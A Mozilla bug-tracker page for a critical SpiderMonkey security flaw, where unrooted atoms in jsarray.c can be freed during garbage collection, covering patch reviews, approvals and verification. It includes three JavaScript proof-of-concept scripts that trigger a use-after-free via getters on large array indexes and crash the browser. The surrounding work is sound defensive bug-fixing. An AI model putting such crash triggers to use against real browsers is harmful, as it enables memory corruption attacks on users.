Closed Bug 341956 Opened 18 years ago Closed 18 years ago

GC hazards in jsarray.c: unrooted atoms for large index

Categories

(Core :: JavaScript Engine, defect)

defect
Not set
critical

Tracking

()

VERIFIED FIXED
mozilla1.8.1beta2

People

(Reporter: igor, Assigned: igor)

References

Details

(Keywords: verified1.8.0.5, verified1.8.1, Whiteboard: [sg:critical])

Attachments

(6 files, 7 obsolete files)

In many places SpiderMonkey code assumes that potential GC calls would not collect atoms. Unfortunately this is not true since the branch callback is allowed to call JS_MaybeGC/JS_ForceGC which would collect unrooted atoms.

The following example demonstrates the problem for the browser/shell:

var N = 0xFFFFFFFF;

var a = [];
a[N - 1] = 1;
a.__defineGetter__(N - 1, function() { 
	var tmp = [];
	tmp[N - 2] = 0;
        if (typeof gc == 'function')
                gc();
        for (var i = 0; i != 50000; ++i) {
                var tmp = 1 / 3;
                tmp /= 10;
        }
        for (var i = 0; i != 1000; ++i) {
                // Make string with 11 characters that would take
                // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
                // malloc will ovewrite just freed atoms. 
                var tmp2 = Array(12).join(' ');
	}
	return 10; 
});


// The following always-throw getter is to stop unshift from doing
// 2^32 iterations.
var toStop = "stringToStop";
a[N - 3] = 0;
a.__defineGetter__(N - 3, function() { throw toStop; });

var good = false;

try {
	a.unshift(1);
} catch (e) {
	if (e === toStop)
		good = true;
}

When embedded in a <script> tag, it crashes the browser.
Attached patch Fix (obsolete) — Splinter Review
In most places the patch just reorders IndexToId and OBJ_GET_PROPERTY calls so a getter would not have a chance to kill the atom behind a large index. 

The exception to this rule is in array_reverse and array_pop methods where the ids when necessary are protected with JS_KEEP_ATOMS call and array_extra where for the MAP case the id is re-build again to simplify the implementation.

The patch is not minimal since I could not to resist and optimized IndexToId to avoid constructing temporary JSString.
Attachment #227465 - Flags: review?(mrbkap)
Initially I thought that a generic way to fix the problem would be to make sure that GC call from the branch callback would always keep atoms. But it is way to easy to prevent collection of atoms at all. So with the patch from comment  1 I took a conservative approach of rooting the atoms in jsarray.c. This is the reason for changing the bug title as the focus here is on just jsarray.c.
Summary: GC hazards via collection of live atoms from branch callback → GC hazards in jsarray.c: unrooted atoms for large index
Here is a test case to show the problem in browser/jsshell with Array.protype.pop method. Without the patch it segfaults:

var N = 0xFFFFFFFF;
var a = [];  
a[N - 1] = 0;

var expected = "GETTER RESULT";

a.__defineGetter__(N - 1, function() {
        delete a[N - 1];
        var tmp = [];
        tmp[N - 2] = 1;

        if (typeof gc == 'function')
                gc();
        for (var i = 0; i != 50000; ++i) {
                var tmp = 1 / 3;
                tmp /= 10;
        }
        for (var i = 0; i != 1000; ++i) {
                // Make string with 11 characters that would take
                // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
                // malloc will ovewrite just freed atoms.
                var tmp2 = Array(12).join(' ');
        }
        return expected;
});

var actual = a.pop();

print(actual === expected);
Attached patch Fix for 1.8.1, 1.8.0 branches (obsolete) — Splinter Review
This a fix version for 1.8.1 branch.
Attachment #227518 - Flags: approval1.8.1?
I guess it is way to late for 1.8.0.5 approval but I ask in any case. And if this is too late indeed, then I think I have to make comments in the patch less explicit about making an exploit.
Flags: blocking1.8.1?
Flags: blocking1.8.0.5?
(In reply to comment #5)
> I guess it is way to late for 1.8.0.5 approval but I ask in any case. And if
> this is too late indeed, then I think I have to make comments in the patch less
> explicit about making an exploit.

Or wait with a trunk commit until 1.8.0.6 

Comment on attachment 227518 [details] [diff] [review]
Fix for 1.8.1, 1.8.0 branches

The patch applies to 1.8.0 branch as is.
Attachment #227518 - Attachment description: Fix for 1.8.1 branch → Fix for 1.8.1, 1.8.0 branches
Attachment #227518 - Flags: approval1.8.0.5?
As far as I can see jsarray.c is the only source of this type of hazards in the engine. Other users of js_Atomize* either root the atoms via JS_KEEP_ATOMS or they never call getter/setter or other scriptable code (js_XDRAtom case).
Comment on attachment 227465 [details] [diff] [review]
Fix

Drive-by, thanks for fixing:

+     * a branch callback call and the latter invokes js_GC without
+     * GC_KEEP_ATOMS flag, GC would collect the atom that we would access later

"the" after "without"

+    if (len > JSVAL_INT_MAX + 1)

To my eyes len >= JSVAL_INT_MAX + 1 is slightly clearer.

+        ok = ok && IndexToId(cx, len - i - 1, &id2) &&
+             PropertyExists(cx, obj, id2, &id2exists) &&
+             (!id2exists || OBJ_GET_PROPERTY(cx, obj, id2, tmproot2));

You clearly want JS2's &&= operator ;-).

Breaking as soon as ok is false would use the same number of instructions but be faster in a failure case.  That doesn't matter, but it is the way most code in SpiderMonkey is written. And retesting ok in "ok = ok && ..." after previous successes is unnecessary in the case we want to optimize (no failures). So I'm still in favor of breaking on first failure.

This repeated comment:
+                 * Construct id2 after we got property's value not to worry
+                 * about getter there triggering GC and collectiong id2.

could be reworded to say "to not worry" -- splitting an infinitive is ok in such cases.  The longer way around is "so as not to worry".

/be
Attachment #227465 - Flags: review+
(In reply to comment #9)
> And retesting ok in "ok = ok && ..." after previous
> successes is unnecessary in the case we want to optimize (no failures).

I claim a sane compiler would do exactly the same number of tests in
  ok = A && B
and
  ok = A
  ok = ok && B

In the first case the compiler must test for A to avoid calculating B. Similarly in the second case the compiler has to test ok to avoid calculating B. But there is no need to test the results of A in ok = A.

In the initial version of the patch I just replaced "return JS_FALSE" by "goto bad". When I discover later that I missed one replacement (probably because it scrolled beyond the top edge of the window), I gave up and rewrote it as in the patch.
(In reply to comment #10)
> (In reply to comment #9)
> > And retesting ok in "ok = ok && ..." after previous
> > successes is unnecessary in the case we want to optimize (no failures).
> 
> I claim a sane compiler would do exactly the same number of tests in
>   ok = A && B
> and
>   ok = A
>   ok = ok && B

I know, that was not my point (I adverted to the equivalence of these forms when I wrote "You clearly want JS2's &&= operator ;-)").

My point was that most SpiderMonkey code breaks on failure to avoid retesting ok on success.  Break meaning 'break', 'goto out', 'goto bad', etc.

> In the initial version of the patch I just replaced "return JS_FALSE" by "goto
> bad". When I discover later that I missed one replacement (probably because it
> scrolled beyond the top edge of the window), I gave up and rewrote it as in the
> patch.

Ok.  I have a taller window ;-).

/be
Comment on attachment 227465 [details] [diff] [review]
Fix

>--- .pc/array_atom_roots.diff/js/src/jsarray.c	2006-06-26 
>+                 * Construct id2 after we got property's value not to worry
>+                 * about getter there triggering GC and collectiong id2.

I think I'd prefer s/got/after we've gotten/ in this comment, and please fix the 'collecting' typo, here and where you've copy/pasted the comment. Other than that, this looks good.
Attachment #227465 - Flags: review?(mrbkap) → review+
Comment on attachment 227518 [details] [diff] [review]
Fix for 1.8.1, 1.8.0 branches

Please address review comments and re-nominate.
Attachment #227518 - Flags: approval1.8.1?
Attached patch Fix v2 (obsolete) — Splinter Review
Changes compared with version 1:

1. I reverted to the "break early" style in array_reverse and array_pop to preserve code style.  

2. Comments are shortened but I compensated that by references to the bug.
Attachment #227465 - Attachment is obsolete: true
Attachment #227518 - Attachment is obsolete: true
Attachment #227578 - Flags: superreview?(brendan)
Attachment #227578 - Flags: review?(mrbkap)
Attachment #227518 - Flags: approval1.8.0.5?
Attached patch Fix v2b (obsolete) — Splinter Review
Fixing mistypes in the new comments.
Attachment #227578 - Attachment is obsolete: true
Attachment #227583 - Flags: superreview?(brendan)
Attachment #227583 - Flags: review?(mrbkap)
Attachment #227578 - Flags: superreview?(brendan)
Attachment #227578 - Flags: review?(mrbkap)
Attachment #227583 - Flags: superreview?(brendan) → superreview+
Here is a test case for reverse:

var N = 0xFFFFFFFF;
var a = [];
a[N - 1] = 0;

var expected = "GETTER RESULT";

a.__defineGetter__(N - 1, function() {
        delete a[N - 1];
        var tmp = [];
        tmp[N - 2] = 1;

        if (typeof gc == 'function')
                gc();
        for (var i = 0; i != 50000; ++i) {
                var tmp = 1 / 3;
                tmp /= 10;  
        }
        for (var i = 0; i != 1000; ++i) {
                // Make string with 11 characters that would take
                // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
                // malloc will ovewrite just freed atoms.
                var tmp2 = Array(12).join(' ');
        }
        return expected;
});

// The following always-throw getter is to stop unshift from doing
// 2^32 iterations.
var toStop = "stringToStop";
a[N - 3] = 0;
a.__defineGetter__(N - 3, function() { throw toStop; });


var good = false;

try {
        a.reverse();
} catch (e) {
        if (e === toStop)
                good = true;
}

print("Good="+good);
Comment on attachment 227583 [details] [diff] [review]
Fix v2b

>+     * When len > JSVAL_INT_MAX + 1 the loop bellow accesses indexes greater

"below".
Attachment #227583 - Flags: review?(mrbkap) → review+
Attached patch Fix v2c (obsolete) — Splinter Review
Patch to commit with the last spelling fixes.
Attachment #227583 - Attachment is obsolete: true
Comment on attachment 227711 [details] [diff] [review]
Fix v2c

approved for 1.8.0 branch, a=dveditz for drivers
Attachment #227711 - Flags: approval1.8.0.5+
Attached patch Minimal fix (obsolete) — Splinter Review
Here is a minimal patch without IndexToId optimization.
Attachment #227711 - Attachment is obsolete: true
Attachment #227749 - Flags: superreview?(brendan)
Attachment #227749 - Flags: review?(mrbkap)
Note that I go to a vacation on Sanday so effectively I have only Saturday for commits. Thus at best I can land the patch on trunk and redo the version against 1.8.* branch.
Attachment #227749 - Flags: review?(mrbkap) → review+
Comment on attachment 227749 [details] [diff] [review]
Minimal fix

+                 * Find id2 after OBJ_GET_PROPERTY call as it can invalidate
+                 * ids for large indexes. See bug 341956.

It would be nice to compress this to a one-line comment.  How about

/* Get id after value to avoid nested GC hazards. */

or something like that?

sr=me anyway.

/be
Attachment #227749 - Flags: superreview?(brendan) → superreview+
The patch with reduced comments as Brendan suggested.

I could commit it but according to http://tinderbox.mozilla.org/showbuilds.cgi?tree=Firefox the tree is red due failing build on Mac. Shall I ignore it?
Attachment #227749 - Attachment is obsolete: true
This is a version for 1.8.* branches.
Attachment #227820 - Flags: approval1.8.1?
Attachment #227820 - Flags: approval1.8.0.5?
I asked on irc.mozilla.org #developers, since that channel is "sheriff".  preed said "I think 02 just isn't set to build yet or something. It's taking half of the UB builds that 01 does."  The red balsa seamonkey-ports was due to a gcc bug.

The tree remains open, so I think you should check in.

/be
I committed the patch from commnet 24 to the trunk.
Status: NEW → RESOLVED
Closed: 18 years ago
Resolution: --- → FIXED
Please note that until 2006-07-25 I would not be able to commit anything - vacation time.
Comment on attachment 227820 [details] [diff] [review]
Minimal fix - version for 1.8.0 and 1.8.1 branches

a=dveditz for 1.8.0 branch
Attachment #227820 - Flags: approval1.8.0.5? → approval1.8.0.5+
Attachment #227711 - Flags: approval1.8.0.5+
Fix chcked into the 1.8.0 branch.
Keywords: fixed1.8.0.5
Attachment #227820 - Flags: approval1.8.1? → approval1.8.1+
Flags: blocking1.8.0.5? → blocking1.8.0.5+
Attached file js1_5/GC/regress-341956.js (obsolete) —
Flags: in-testsuite+
Comment on attachment 228293 [details]
js1_5/GC/regress-341956.js

Note that the test can check that good === true for booletproof checking. Plus it just covers unshift case, but what about the examples for reverse and pop?
Sorry, I missed that.
Attachment #228293 - Attachment is obsolete: true
Flags: blocking1.8.1? → blocking1.8.1+
Target Milestone: --- → mozilla1.8.1beta1
Keywords: fixed1.8.1
Tested with the original test version. 
verified fixed 1.8.0.5, 1.9a1 windows/macppc/linux 20060706 builds.

Not Fixed in 1.8.1 20060706. Crashes shell windows, browser windows/macppc/linux.

confirmed that windows browser crashes on all of the new tests 01, 02, and 03 in opt but not debug builds and windows shell crashes on all the new tests for opt and debug.
Status: RESOLVED → VERIFIED
Target Milestone: mozilla1.8.1beta1 → mozilla1.8.1beta2
Blocks: 344320
I can't reproduce my crashes on 1.8.1 windows xp in the shell or browser with or without dep enabled using a 2006070707 build. After the qa farm comes back on line tomorrow, I'll rebuild and retest.
Whiteboard: [sg:critical]
Not sure if this problem applies to the aviary/1.7 branch or not.
Flags: blocking1.7.14?
Flags: blocking-aviary1.0.9?
(In reply to comment #37)
> Not sure if this problem applies to the aviary/1.7 branch or not.
> 

Yes, it does.
no longer crash in 1.8.1
verified fixed 1.8.1 win/mac(tel|ppc)/linux
Keywords: verified1.8.1
Attached patch 1.0.x backportSplinter Review
maybe incomplete .. though I hope not.
Group: security
/cvsroot/mozilla/js/tests/js1_5/extensions/regress-341956-01.js,v  <--  regress-341956-01.js

/cvsroot/mozilla/js/tests/js1_5/extensions/regress-341956-02.js,v  <--  regress-341956-02.js

/cvsroot/mozilla/js/tests/js1_5/extensions/regress-341956-03.js,v  <--  regress-341956-03.js
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: